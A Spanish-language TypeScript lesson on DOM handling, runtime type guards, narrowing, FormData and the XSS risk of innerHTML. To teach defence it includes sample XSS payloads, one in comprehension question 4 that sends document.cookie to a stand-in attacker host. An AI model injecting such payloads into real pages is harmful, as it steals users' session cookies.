study.plynte.com
@franguh
Estado de Lectura Marca tu progreso local en tu navegador (iPad / Móvil / Desktop)

10 · TypeScript y el DOM#

Objetivo#

Al terminar esta lección podrás interactuar con el DOM del navegador y consumir datos dinámicos sin confundir comprobaciones estáticas de compilación con garantías reales en tiempo de ejecución. Aprenderás a tratar datos externos no confiables comenzando desde el tipo seguro unknown, a aplicar técnicas de estrechamiento de tipos (type narrowing), a construir predicados de tipo ejecutables (runtime type guards), y a manipular elementos del DOM de forma resiliente ante ausencias o cambios estructurales en el documento.


Antes de empezar#

  1. Completa 09 · HTML, CSS y accesibilidad y asegúrate de comprender la estructura de objetos, funciones y condicionales en JavaScript.
  2. Los ejemplos de esta lección son fragmentos de código en TypeScript que utilizan bibliotecas de tipos del DOM (dom, esnext). Para ejecutarlos localmente con el compilador tsc o herramientas como Vite/ts-node, consulta la configuración en la guía de laboratorios opcionales.
  3. Recuerda la regla fundamental: TypeScript es una herramienta de tiempo de diseño y compilación; el navegador únicamente ejecuta JavaScript estándar.
  4. Si encuentras algún concepto técnico desconocido, consulta el glosario técnico.

Diccionario de conceptos de la lección (Glosario desde cero)#

1. Borrado de tipos (Type Erasure)#

  • Intuición cotidiana: Es como el andamio utilizado para construir una catedral de piedra: durante la obra, los ingenieros se apoyan en el andamio para garantizar que cada arco y columna tenga la inclinación exacta. Pero una vez terminada la catedral, el andamio se retira por completo. Los feligreses que entran solo ven la piedra; no queda ni un solo tubo del andamio.
  • Definición técnica precisa: Proceso del compilador de TypeScript (tsc) mediante el cual todas las anotaciones de tipo, interfaces, alias de tipo (type), firmas genéricas y aserciones son eliminadas sin dejar rastro durante la generación de código JavaScript ejecutable. El archivo .js resultante no contiene metadatos de tipos y se ejecuta en el motor de JavaScript (V8, SpiderMonkey, JavaScriptCore) como código dinámico puro.
  • Ejemplo comparativo:
TYPESCRIPT
  // Código fuente TypeScript:
  interface Task { id: number; title: string; }
  const task: Task = { id: 1, title: "Study" };
JAVASCRIPT
  // Código JavaScript emitido tras compilar (cero tipos):
  const task = { id: 1, title: "Study" };
  • Concepción errónea: Creer que definir una interface Task en TypeScript protege a tu aplicación de recibir un objeto corrupto desde la red en producción. Al ejecutarse en el navegador, la interfaz Task ya no existe.

2. unknown (Top Type seguro) vs any (Desactivación del verificador)#

  • Intuición cotidiana:
  • any: Entregarle a un inspector de aduanas una credencial falsa que dice "Tengo inmunidad diplomática total, no revise mi equipaje". El inspector te deja pasar sin mirar, aunque lleves explosivos en la maleta.
  • unknown: Entregar una caja sellada de origen desconocido. El inspector dice: "No sé qué hay aquí dentro; está estrictamente prohibido abrirla o usarla hasta que la pasemos por el escáner de rayos X y verifiquemos su contenido".
  • Definición técnica precisa:
  • any: Tipo de escape que desactiva por completo el sistema de tipos estáticos para una variable. Permite invocar cualquier método, leer cualquier propiedad o pasar el valor a cualquier función sin comprobación alguna, propagando el riesgo de errores en tiempo de ejecución (TypeError: undefined is not a function).
  • unknown: El top type seguro de TypeScript (el superconjunto de todos los tipos posibles). Cualquier valor puede asignarse a unknown, pero TypeScript prohíbe estrictamente realizar cualquier operación con él (leer propiedades, iterarlo, invocarlo) hasta que su tipo sea verificado y estrechado mediante código condicional ejecutable.
  • Ejemplo en código:
TYPESCRIPT
  const rawData: any = JSON.parse('{"id": 1}');
  rawData.nonExistentMethod(); // Compila sin error, ¡pero revienta en tiempo de ejecución!

  const safeData: unknown = JSON.parse('{"id": 1}');
  // safeData.nonExistentMethod(); // ERROR de compilación: Object is of type 'unknown'.
  • Concepción errónea: Usar any "para apagar un error rápido del compilador". Usar any elimina la única razón por la que estás usando TypeScript.

3. Aserción de tipo (as Type) vs Validación en tiempo de ejecución#

  • Intuición cotidiana:
  • Aserción de tipo (as Type): Pegarle una etiqueta manuscrita que dice "Agua potable" a una botella encontrada en un callejón y beber de ella sin olerla. Si la botella contenía veneno, te intoxicas igual.
  • Validación en runtime: Llevar una muestra del líquido a un laboratorio químico y analizar su composición antes de dar un solo sorbo.
  • Definición técnica precisa:
  • Aserción de tipo (as T): Instrucción directa al compilador que dice: "Confía en mi palabra de programador; asume que este valor es de tipo T y no me adviertas más". Es puramente sintáctica; genera cero bytes de código ejecutable y no realiza ninguna comprobación sobre el valor real en memoria.
  • *Validación en tiempo de ejecución (Runtime Validation):* Código JavaScript real que se ejecuta activamente en el motor del navegador (mediante typeof, instanceof, comparaciones de propiedades o bibliotecas de validación) para inspeccionar la estructura real de los datos antes de operar sobre ellos.
  • Ejemplo en código:
TYPESCRIPT
  // Mentira al compilador (Aserción ciega):
  const dangerous = JSON.parse('{"status": 500}') as Task;
  console.log(dangerous.title.toUpperCase()); 
  // TypeError: Cannot read properties of undefined (reading 'toUpperCase')

  // Verificación real ejecutable (Runtime check):
  const raw: unknown = JSON.parse('{"status": 500}');
  if (isTask(raw)) {
    console.log(raw.title.toUpperCase()); // Garantizado por código real
  }
  • Concepción errónea: Creer que value as Task convierte o parsea mágicamente un objeto a la estructura Task.

4. Estrechamiento de tipos (Type Narrowing) y Análisis de flujo de control (CFA)#

  • Intuición cotidiana: Eres un médico que evalúa a un paciente con dolor. Inicialmente el diagnóstico abarca 50 enfermedades posibles (DiseaseA | DiseaseB | ...). Tras un análisis de sangre negativo para infección, descartas 30. Tras una radiografía, descartas 19 más. Al final del flujo de diagnóstico, has estrechado las posibilidades a una única causa certera.
  • Definición técnica precisa: Proceso por el cual el compilador de TypeScript deduce un tipo más específico y restringido para una variable dentro de una rama lógica particular del código. Se apoya en el *Análisis de flujo de control (Control Flow Analysis o CFA)*, analizando bifurcaciones condicionales (if, switch, return, throw) e instrucciones de comprobación (guardas como typeof, instanceof, operador in, o comprobaciones de igualdad estricta ===).
  • Ejemplo en código:
TYPESCRIPT
  function printId(id: number | string) {
    // Aquí el tipo es: number | string
    if (typeof id === "string") {
      // El CFA estrecha el tipo en este bloque a: string
      console.log(id.toUpperCase());
    } else {
      // El CFA estrecha el tipo en este bloque a: number
      console.log(id.toFixed(2));
    }
  }
  • Concepción errónea: Pensar que el narrowing muta el objeto en memoria. El valor en memoria sigue siendo el mismo; lo que cambia es el conocimiento que el compilador tiene sobre él en esa rama.

5. Predicado de tipo definido por el usuario (value is Task / Custom Type Guard)#

  • Intuición cotidiana: Un carnet de conducir con chip criptográfico: cuando un policía lo escanea y el dispositivo confirma la autenticidad de la firma, el sistema certifica oficialmente: "Este sujeto es efectivamente un conductor habilitado".
  • Definición técnica precisa: Función JavaScript estándar que devuelve un booleano, cuya firma de tipo de retorno utiliza la sintaxis especial parámetro is Tipo. Si la función evalúa a true durante la ejecución, el análisis de flujo de control de TypeScript asume automáticamente que la variable evaluada posee el tipo Tipo dentro del bloque condicional correspondiente.
  • Ejemplo en código:
TYPESCRIPT
  function isTask(value: unknown): value is Task {
    return (
      typeof value === "object" &&
      value !== null &&
      "id" in value &&
      typeof value.id === "number" &&
      "title" in value &&
      typeof value.title === "string" &&
      "done" in value &&
      typeof value.done === "boolean"
    );
  }
  • Concepción errónea: Creer que el compilador verifica la lógica interna de tu guarda. Si escribes function isTask(val: unknown): val is Task { return true; }, TypeScript te creerá ciegamente, convirtiendo tu guarda defectuosa en un agujero de seguridad. La lógica interna de la guarda debe ser matemáticamente rigurosa.

6. Unión discriminada (Discriminated Union) y comprobación exhaustiva con never#

  • Intuición cotidiana: Un semáforo inteligente de tres estados: rojo, amarillo y verde. Si una actualización de tráfico añade una nueva luz azul parpadeante y el controlador del semáforo no tiene programada una acción para la luz azul, la fábrica rechaza el ensamblaje antes de enviar el semáforo a la calle.
  • Definición técnica precisa: Patrón arquitectónico en el que una unión de tipos de objetos comparte al menos una propiedad literal común con valores disjuntos y constantes (llamada etiqueta discriminante o tag, habitualmente kind, type o status). Permite que el compilador estreche automáticamente la variante exacta al inspeccionar dicha etiqueta en un switch o if. La *comprobación exhaustiva (Exhaustive Checking)* utiliza el tipo inferior never en el caso predeterminado (default): si en el futuro se añade una nueva variante a la unión y el programador olvida manejarla, el compilador emitirá un error impidiendo compilar.
  • Ejemplo en código:
TYPESCRIPT
  type AsyncResult<T> =
    | { status: "loading" }
    | { status: "success"; data: T }
    | { status: "error"; error: Error };

  function assertNever(value: never): never {
    throw new Error(`Unhandled variant: ${JSON.stringify(value)}`);
  }

  function handleResult(result: AsyncResult<Task>) {
    switch (result.status) {
      case "loading": return "Loading...";
      case "success": return `Task: ${result.data.title}`;
      case "error":   return `Failed: ${result.error.message}`;
      default:
        // Si se añade { status: "idle" } a la unión, esta línea generará
        // un error de compilación inmediato: Argument of type '{ status: "idle" }' is not assignable to 'never'.
        return assertNever(result);
    }
  }
  • Concepción errónea: Usar múltiples booleanos independientes como isLoading: boolean, isSuccess: boolean y isError: boolean. Esto permite estados imposibles (como estar cargando y con éxito a la vez).

7. Jerarquía de tipos del DOM (EventTarget arrow Node arrow Element arrow HTMLElement arrow HTMLInputElement)#

  • Intuición cotidiana: Clasificación biológica de los seres vivos: Ser vivo arrow Animal arrow Mamífero arrow Canino arrow Perro pastor alemán. Todos los pastores alemanes son animales, pero no todos los animales son perros pastores alemanes. Si intentas ordenarle a una medusa que ladre, el programa colapsa.
  • Definición técnica precisa: Árbol de herencia de clases orientado a objetos que modela la API del DOM del navegador:
  • EventTarget: Objeto base capaz de recibir eventos y tener escuchadores (addEventListener, removeEventListener).
  • Node: Entidad estructural dentro del árbol del documento (puede ser un elemento, un nodo de texto plano, un comentario o el documento mismo). Añade parentNode, childNodes, textContent.
  • Element: Nodo que representa una etiqueta HTML/XML. Añade attributes, classList, querySelector.
  • HTMLElement: Elemento específico del estándar HTML. Añade propiedades visuales e interacción como style, hidden, tabIndex, eventos de teclado y ratón.
  • HTMLInputElement: Subclase especializada para la etiqueta <input>. Añade propiedades exclusivas de campos de formulario como value, checked, type, disabled, required.
  • Ejemplo en código:
TYPESCRIPT
  const node = document.querySelector("#title"); // Retorna: Element | null
  // node.value; // ERROR de compilación: Property 'value' does not exist on type 'Element'.

  if (node instanceof HTMLInputElement) {
    console.log(node.value); // Válido: TypeScript ha estrechado a HTMLInputElement
  }
  • Concepción errónea: Pensar que document.getElementById o querySelector siempre devuelven un HTMLInputElement. Pueden devolver null (si el elemento no existe) o un elemento de otra etiqueta (como un HTMLDivElement o HTMLSpanElement).

8. textContent vs innerHTML y vulnerabilidad XSS (Cross-Site Scripting)#

  • Intuición cotidiana:
  • textContent: Grabar un texto con láser sobre una placa de madera. Si grabas la palabra <script>, es solo un dibujo decorativo de letras en la madera.
  • innerHTML: Darle a un albañil un plano que dice: "Si hay una dinamita dibujada, enciéndela de inmediato". Si un atacante inyecta código ejecutable en lugar de un nombre, el navegador lo interpreta como instrucciones vivas.
  • Definición técnica precisa:
  • textContent: Propiedad del DOM que lee o asigna el contenido textual plano de un nodo y todos sus descendientes. Cualquier carácter especial de marcado (<, >, &) es tratado como texto literal y codificado de forma segura. El motor del navegador jamás invoca el parser de HTML.
  • innerHTML: Propiedad que lee o escribe el marcado HTML serializado dentro de un elemento. Al asignar una cadena a innerHTML, el motor invoca el parser de HTML del navegador, analizando las etiquetas y construyendo nuevos nodos del DOM. Si la cadena contiene datos no sanitizados provistos por un usuario o una API externa, permite ataques de inyección de código ejecutable (Cross-Site Scripting / XSS, CWE-79) capaces de robar cookies de sesión, tokens de autenticación o redirigir al usuario.
  • Ejemplo comparativo:
TYPESCRIPT
  const maliciousInput = '<img src=invalid onerror="alert(\'XSS Vulnerability!\')">';

  // SEGURO: Muestra el texto literal en pantalla, no ejecuta nada:
  titleContainer.textContent = maliciousInput;

  // VULNERABLE: El navegador ejecuta el atributo onerror del atacante:
  titleContainer.innerHTML = maliciousInput;
  • Concepción errónea: Creer que un ataque XSS solo ocurre mediante etiquetas <script>. La mayoría de ataques modernos utilizan vectores basados en imágenes (<img src=x onerror=...>), enlaces manipulados (<a href="javascript:...">) o eventos SVG.

9. API FormData#

  • Intuición cotidiana: Colocar un documento en un escáner de alta velocidad: en un solo segundo, el aparato digitaliza todos los campos de texto, casillas marcadas y archivos adjuntos del formulario y los empaqueta en una lista organizada de pares clave-valor listos para enviar.
  • Definición técnica precisa: Objeto del estándar Web API que permite compilar fácilmente un conjunto de pares clave-valor que representan los campos de un formulario HTML (<form>) y sus valores. Se construye típicamente pasando la referencia del elemento formulario al constructor: new FormData(formElement). Su método .get(name) devuelve un valor de tipo FormDataEntryValue | null, el cual es una unión entre string | File | null.
  • Ejemplo en código:
TYPESCRIPT
  const form = document.querySelector<HTMLFormElement>("form");
  if (form) {
    const data = new FormData(form);
    const titleEntry = data.get("title"); // Tipo: FormDataEntryValue | null
    if (typeof titleEntry === "string") {
      const cleanTitle = titleEntry.trim();
      console.log("Validated title:", cleanTitle);
    }
  }
  • Concepción errónea: Asumir que formData.get("key") siempre devuelve un string. Si el campo no existe en el HTML devuelve null, y si el campo era un selector de archivos (<input type="file">) devuelve un objeto File.

Modelo mental y desempacado técnico paso a paso#

1. La frontera entre compilación y runtime: La mentira de as Task[]#

Examinemos el ciclo de vida de un tipo en TypeScript y qué ocurre exactamente cuando los datos llegan por la red:

DIAGRAMA MERMAID
flowchart TD
    subgraph CompileTime["Tiempo de Compilación (tsc en desarrollo)"]
        TS["type Task = { id: number; title: string; done: boolean };"]
        Check["Verificador de tipos analiza tu código fuente"]
        TS --> Check
    end

    subgraph Emit["Proceso de Emisión (.js generado)"]
        Check -->|Type Erasure: se borran todos los tipos| JS["const raw = JSON.parse(text);"]
    end

    subgraph RunTime["Tiempo de Ejecución (Navegador en producción)"]
        direction TB
        Net["Respuesta HTTP externa (Payload corrupto o modificado)"]
        Net -->|JSON.parse| V["Valor en memoria: { id: 'uno', title: null }"]
        
        V --> PathBad["Ruta Aserción: const tasks = raw as Task[]"]
        PathBad --> Crash["tasks[0].title.toUpperCase() -> Crash: TypeError!"]
        
        V --> PathGuard["Ruta Runtime Guard: if (!isTask(raw))"]
        PathGuard --> Safe["Lanza Error descriptivo o muestra estado de error en UI"]
    end

Análisis paso a paso:#

  1. El compilador confía ciegamente en as Task: Cuando escribes: ``typescript const task = JSON.parse(responseText) as Task; ` El compilador de TypeScript asume que la variable task tiene obligatoriamente un número en id, una cadena en title y un booleano en done. El compilador deja de avisarte porque tú se lo ordenaste con la palabra clave as`.
  2. La red devuelve la realidad: Si el backend cambió su versión, si un proxy devolvió una página de error HTML 502 Bad Gateway, o si un registro de la base de datos contenía null en el título, el valor en la memoria RAM del navegador será: ``javascript { id: "42", title: null } ``
  3. *El fallo tardío en producción (Deferred Crash):* Tu código continúa su ejecución confiado. Tres funciones más adelante, un componente intenta renderizar: ``typescript console.log(task.title.trim().toUpperCase()); ` Como task.title es null en runtime, el motor de JavaScript detiene la ejecución inmediatamente con una excepción no controlada: `text Uncaught TypeError: Cannot read properties of null (reading 'trim') `` La pantalla se queda en blanco para el usuario final. El tipo estático de TypeScript no sirvió absolutamente de nada para evitar el fallo.

2. Los secretos de la guarda de tipo: Por qué typeof null === "object"#

Al escribir una guarda de tipo para un objeto, es muy común encontrar desarrolladores que escriben:

TYPESCRIPT
// ¡INCOMPLETO Y PELIGROSO!
function isTaskIncomplete(value: unknown): value is Task {
  return typeof value === "object" && "id" in value;
}

¿Por qué este código puede fallar catastróficamente?

El bug histórico de JavaScript (1995):#

En la primera implementación del motor de JavaScript de Netscape Navigator, los valores en memoria se representaban con una etiqueta de tipo de 3 bits y un valor:

  • Los punteros a objetos tenían la etiqueta de tipo binaria 000.
  • El valor especial null se representaba como el puntero nulo de C: la dirección de memoria 0x00 (todos ceros).
  • Debido a que su valor era todo ceros, el operador typeof leyó los primeros 3 bits (000) y concluyó que null ¡era un objeto!
JAVASCRIPT
console.log(typeof null); // "object"

Este comportamiento es un error histórico oficial del lenguaje ECMAScript que no puede corregirse porque rompería millones de sitios web heredados.

Consecuencia en el operador in:#

Si ejecutas el operador in sobre un objeto nulo:

JAVASCRIPT
const val = null;
if (typeof val === "object") {
  console.log("id" in val); // TypeError: Cannot use 'in' operator to search for 'id' in null
}

El motor lanza un TypeError fatal. Por eso, toda guarda de objeto debe comprobar estrictamente que el valor no sea nulo:

TYPESCRIPT
typeof value === "object" && value !== null

¿Por qué Array.isArray(value) debe preceder a .every(isTask)?#

Si una función espera recibir un arreglo de tareas Task[]:

TYPESCRIPT
function parseTasks(value: unknown): Task[] {
  // Si value es un número (ej. 42) o un objeto ordinario (ej. { id: 1 })
  // y ejecutas directamente:
  // value.every(isTask)
  // Lanzará un fallo inmediato: TypeError: value.every is not a function.
  
  // Por tanto, la verificación de array es mandatoria como primer paso:
  if (!Array.isArray(value) || !value.every(isTask)) {
    throw new Error("Invalid task list payload");
  }
  return value;
}

3. document.querySelector<HTMLInputElement> vs instanceof HTMLInputElement#

Muchos tutoriales sugieren escribir consultas al DOM de esta manera:

TYPESCRIPT
// Antipatrón frágil:
const input = document.querySelector<HTMLInputElement>("#task-title");
input.value = "New note"; // TypeScript lo permite...

Examinemos qué hace el parámetro genérico <HTMLInputElement> detrás de cámaras:

  1. En las definiciones de tipos de TypeScript para el DOM, el método se define internamente como: ``typescript querySelector<E extends Element = Element>(selectors: string): E | null; ``
  2. Cuando pasas <HTMLInputElement>, estás haciendo una aserción de tipo disfrazada de parámetro de tipo. Le estás diciendo al compilador: "Si encuentras un elemento, trátalo directamente como HTMLInputElement".
  3. ¿Qué pasa en tiempo de ejecución? - Si un diseñador refactoriza el HTML y cambia el input por un selector <select id="task-title"> o un <span id="task-title">, querySelector encontrará el elemento, pero en memoria NO será un HTMLInputElement. - Si el elemento fue eliminado del documento, input será null, y la línea input.value lanzará TypeError: Cannot set properties of null.

La alternativa robusta en runtime:#

TYPESCRIPT
const element = document.querySelector("#task-title");

// 1. Verificación de existencia y subtipo en runtime
if (!(element instanceof HTMLInputElement)) {
  throw new Error("Expected #task-title to be an HTMLInputElement, but found: " + element);
}

// 2. Aquí TypeScript sabe con 100% de certeza que element no es null
// y que efectivamente posee la propiedad .value en el navegador.
element.value = "New note";

instanceof HTMLInputElement comprueba la cadena de prototipos real del objeto en la memoria del navegador. Si el elemento no existe o es de otro tipo, la ejecución se detiene de forma controlada antes de causar corrupción en la interfaz.


Diagrama#

DIAGRAMA MERMAID
flowchart LR
    A[JSON de red] --> B[unknown]
    B --> C{Validación runtime}
    C -->|forma Task| D[TypeScript estrecha a Task]
    C -->|invalido| E[Error de datos]
    F[querySelector] --> G{Elemento existe}
    G -->|sí| H[Manipular elemento conocido]
    G -->|no| I[Tratar DOM incompleto]

Diagrama estático del tema
Diagrama estático del tema
Fuente editable: Mermaid.

La anotación estática orienta al compilador; la guarda ejecutable verifica el valor presente.


Ejemplo razonado#

Este módulo TypeScript ilustra cómo procesar respuestas de red y eventos del DOM de manera segura. Para compilarlo, requiere la biblioteca estándar de tipos del DOM (lib: ["DOM", "ESNext"]):

TYPESCRIPT
// 1. Domain Type Contract
export type TaskStatus = "open" | "done";

export type Task = {
  id: number;
  title: string;
  status: TaskStatus;
};

// 2. Discriminated Union for UI State
export type TaskUIState =
  | { kind: "idle" }
  | { kind: "loading" }
  | { kind: "success"; tasks: Task[] }
  | { kind: "error"; message: string };

// 3. Exhaustive check utility
export function assertNever(value: never): never {
  throw new Error(`Unhandled discriminated union case: ${JSON.stringify(value)}`);
}

// 4. Runtime Type Guard for Status Union
function isTaskStatus(value: unknown): value is TaskStatus {
  return value === "open" || value === "done";
}

// 5. Runtime Type Guard for Task Entity
export function isTask(value: unknown): value is Task {
  if (typeof value !== "object" || value === null) {
    return false;
  }

  // Safe property extraction via Control Flow Analysis
  const candidate = value as Record<string, unknown>;

  return (
    typeof candidate.id === "number" &&
    Number.isInteger(candidate.id) &&
    candidate.id > 0 &&
    typeof candidate.title === "string" &&
    candidate.title.trim().length > 0 &&
    isTaskStatus(candidate.status)
  );
}

// 6. Resilient JSON Parser
export function parseTasks(jsonText: string): Task[] {
  let parsed: unknown;
  try {
    parsed = JSON.parse(jsonText);
  } catch (err: unknown) {
    const detail = err instanceof Error ? err.message : "Malformed JSON syntax";
    throw new Error(`JSON syntax error: ${detail}`);
  }

  if (!Array.isArray(parsed)) {
    throw new Error("Invalid payload: expected an array of tasks");
  }

  for (let index = 0; index < parsed.length; index++) {
    const item = parsed[index];
    if (!isTask(item)) {
      throw new Error(`Invalid task entry at array index [${index}]: ${JSON.stringify(item)}`);
    }
  }

  // Type Narrowing: TypeScript recognizes parsed as Task[] here
  return parsed;
}

// 7. Resilient DOM Form Handler
export function setupTaskForm(formSelector: string, onSubmit: (newTask: Omit<Task, "id">) => void): void {
  const formElement = document.querySelector(formSelector);

  // Runtime check for DOM node existence and subtype
  if (!(formElement instanceof HTMLFormElement)) {
    throw new Error(`Form element not found or invalid: "${formSelector}"`);
  }

  formElement.addEventListener("submit", (event: SubmitEvent) => {
    event.preventDefault();

    const formData = new FormData(formElement);
    const rawTitle = formData.get("title");

    // Narrowing FormDataEntryValue (string | File | null)
    if (typeof rawTitle !== "string" || rawTitle.trim().length === 0) {
      console.warn("Rejected submission: title is missing or empty");
      return;
    }

    const newTask: Omit<Task, "id"> = {
      title: rawTitle.trim(),
      status: "open",
    };

    onSubmit(newTask);
    formElement.reset();
  });
}

Por qué este diseño es robusto:#

  • isTask no solo revisa tipos primitivos; también comprueba que id sea un entero positivo, que title no esté vacío y que status pertenezca a la unión "open" | "done".
  • parseTasks asigna JSON.parse a unknown, verifica la sintaxis en un bloque try/catch y reporta con precisión qué índice del arreglo contenía datos corruptos.
  • setupTaskForm utiliza instanceof HTMLFormElement y extrae valores con la API FormData, estrechando FormDataEntryValue antes de procesarlo.

Práctica independiente: Ciclo RED arrow GREEN arrow REFACTOR#

Implementa en un proyecto local de TypeScript las funciones isTask y parseTasks con el tipo Task definido por:

TYPESCRIPT
type Task = { id: number; title: string; status: "open" | "done" };

Fase 1: RED (Escribe primero los casos de prueba de borde que deben fallar)#

Antes de programar la lógica definitiva de la guarda, escribe una suite de pruebas o una función de aserción que verifique las siguientes 6 entradas con sus predicciones:

#Entrada de prueba (rawInput)Predicción de isTask / parseTasksCausa técnica del resultado
1[{"id": 1, "title": "Buy milk", "status": "open"}]Válido (Retorna Task[])Todos los campos coinciden exactamente con el contrato.
2[{"id": 2, "title": "Clean desk", "status": "archived"}]Rechazado (Lanza Error)"archived" no pertenece a la unión literal `"open" \"done"`.
3[{"id": 3, "title": "Write report"}]Rechazado (Lanza Error)La propiedad obligatoria status está ausente (undefined).
4[{"id": 4, "title": " ", "status": "done"}]Rechazado (Lanza Error)Invariante de negocio: el título no puede ser solo espacios en blanco.
5nullRechazado (Retorna false)Comprobación de objeto seguro: evita el bug de typeof null === "object".
6{"id": 5, "title": "Read", "status": "open"} (objeto suelto)Rechazado (Lanza Error)parseTasks exige un arreglo; un objeto individual viola Array.isArray.

Fase 2: GREEN (Implementa la lógica mínima verificable)#

  • Escribe la implementación de isTask comprobando cada invariante paso a paso.
  • Ejecuta las pruebas hasta que los 6 casos pasen consistentemente.

Fase 3: REFACTOR (Manipulación segura del DOM)#

  • Agrega una función que busque un elemento #missing-container inexistente y comprueba que tu código no explote con TypeError, sino que reporte el fallo ordenadamente en la consola o registre un fallback visible.

Registra tus resultados antes de consultar la guía de soluciones de frontend.


Preguntas de comprensión profunda y diagnóstico socrático#

Reflexiona sobre estas cinco preguntas de razonamiento técnico antes de avanzar:

Pregunta 1: La trampa de la aserción ciega as Task[]#

Un desarrollador senior argumenta en una revisión de código:

TYPESCRIPT
async function fetchTasks(): Promise<Task[]> {
  const res = await fetch("/api/tasks");
  const data = await res.json();
  return data as Task[]; // "TypeScript no me marca ningún error aquí"
}
  • Si el backend sufre una migración y renombra la columna status a task_state, ¿qué advertencia emitirá el compilador de TypeScript al compilar el frontend?
  • ¿En qué punto exacto de la aplicación fallará el código y qué mensaje de error verá el usuario en la consola de su navegador?
  • ¿Por qué as Task[] es considerado una "mentira forzada" al compilador?

Pregunta 2: Análisis del Análisis de Flujo de Control (CFA) en predicados de tipo#

Considera la siguiente firma:

TYPESCRIPT
function checkTask(value: unknown): boolean { /* comprobaciones idénticas */ }

vs

TYPESCRIPT
function checkTask(value: unknown): value is Task { /* comprobaciones idénticas */ }
  • Si ambas funciones contienen exactamente las mismas 10 líneas de validación en su cuerpo, ¿por qué TypeScript se niega a estrechar el tipo dentro de un if (checkTask(item)) cuando la función retorna simplemente boolean?
  • ¿Qué información adicional transmite la sintaxis value is Task a la tabla interna de símbolos del compilador?

Pregunta 3: Comprobación exhaustiva con el tipo never#

Un equipo utiliza una unión discriminada para los estados de una solicitud:

TYPESCRIPT
type RequestState =
  | { status: "idle" }
  | { status: "loading" }
  | { status: "success" };

En un componente escriben un bloque switch (state.status) con casos para "idle", "loading" y "success", junto a una cláusula default: assertNever(state).

  • Si seis meses después otro desarrollador añade la variante | { status: "error"; message: string } a RequestState pero olvida actualizar el componente, ¿qué ocurre durante el proceso de compilación tsc?
  • Explica matemáticamente por qué el tipo en el bloque default pasa de ser never a ser { status: "error"; message: string }.

Pregunta 4: Inyección XSS y la trampa de innerHTML#

Un programador necesita mostrar el nombre del autor de una nota en un panel:

TYPESCRIPT
const authorElement = document.querySelector("#author-name");
if (authorElement) {
  authorElement.innerHTML = `Created by: <b>${userData.username}</b>`;
}
  • Si un usuario malicioso se registra con el nombre:
TEXT
  <img src="invalid-image" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">

¿Qué ocurrirá en el navegador de cualquier usuario que visite esa nota?

  • ¿Cómo se reescribe este fragmento utilizando textContent o creación segura de nodos (document.createElement) para neutralizar completamente el vector de inyección?

Pregunta 5: La anatomía de FormData.get()#

Observa este código para leer un campo de un formulario:

TYPESCRIPT
const title: string = formData.get("title");
  • ¿Por qué el compilador de TypeScript rechaza esta línea con un error de tipo?
  • ¿Cuáles son los tres tipos posibles que puede devolver formData.get() según la especificación oficial del W3C?
  • Escribe el código necesario para estrechar ese valor a un string limpio y sin espacios en blanco de forma segura.

Code smell#

Síntoma: Deserialización con aserción ciega en el borde del sistema (Type-Casting Boundary Smell)#

El equipo de frontend tiene decenas de llamadas de red escritas de la siguiente forma:

TYPESCRIPT
const user = (await response.json()) as UserProfile;
const orders = (await response.json()) as Order[];
  • Evidencia observable: Múltiples errores TypeError: Cannot read properties of undefined reportados en sistemas de telemetría (Sentry, LogRocket) en componentes visuales profundos, sin que haya ningún error aparente en las funciones de red.
  • Hipótesis del problema: Los desarrolladores asumieron que las interfaces de TypeScript actúan como esquemas de validación en tiempo de ejecución. Al recibir respuestas con campos opcionales omitidos, nombres con distinta convención (snake_case vs camelCase) o errores 500 serializados en JSON, la aplicación continúa la ejecución con datos mutilados.
  • Consecuencia concreta: Pérdida de horas de depuración buscando bugs en componentes de interfaz que son completamente inocentes, cuando la causa real fue la corrupción de datos en la frontera de red.
  • Tratamiento mínimo justificado: Interceptar todas las respuestas externas en la capa de transporte asignándolas inicialmente a unknown, y pasar los datos a través de una función de guarda o esquema validador antes de permitir que penetren en el estado de la aplicación.

Criterio de salida#

Puedes considerar superada esta lección cuando:

  • Puedes explicar con tus propias palabras qué es el borrado de tipos (Type Erasure) y por qué una interface o type de TypeScript no existe en el navegador en runtime.
  • Conoces la diferencia entre any y unknown, y utilizas unknown como punto de entrada para datos de red o almacenamiento local.
  • Tus guardas de tipo verifican objetos de forma segura, evitando el bug histórico de typeof null === "object".
  • Utilizas uniones discriminadas y comprendes cómo la función assertNever garantiza exhaustividad en tiempo de compilación.
  • Verificas nodos del DOM mediante instanceof HTMLElement antes de acceder a sus propiedades especializadas.
  • Comprendes el riesgo de inyección XSS de innerHTML y utilizas textContent para renderizar datos dinámicos.

Lecturas oficiales#


Siguiente paso#

Continúa con 11 · Estado y propiedad en React: aprenderás a modelar el estado mínimo de tu interfaz, derivar valores de forma pura y sincronizar con sistemas externos mediante Effects sin provocar carreras ni dobles renders.

Estado de Lectura Marca tu progreso local en tu navegador (iPad / Móvil / Desktop)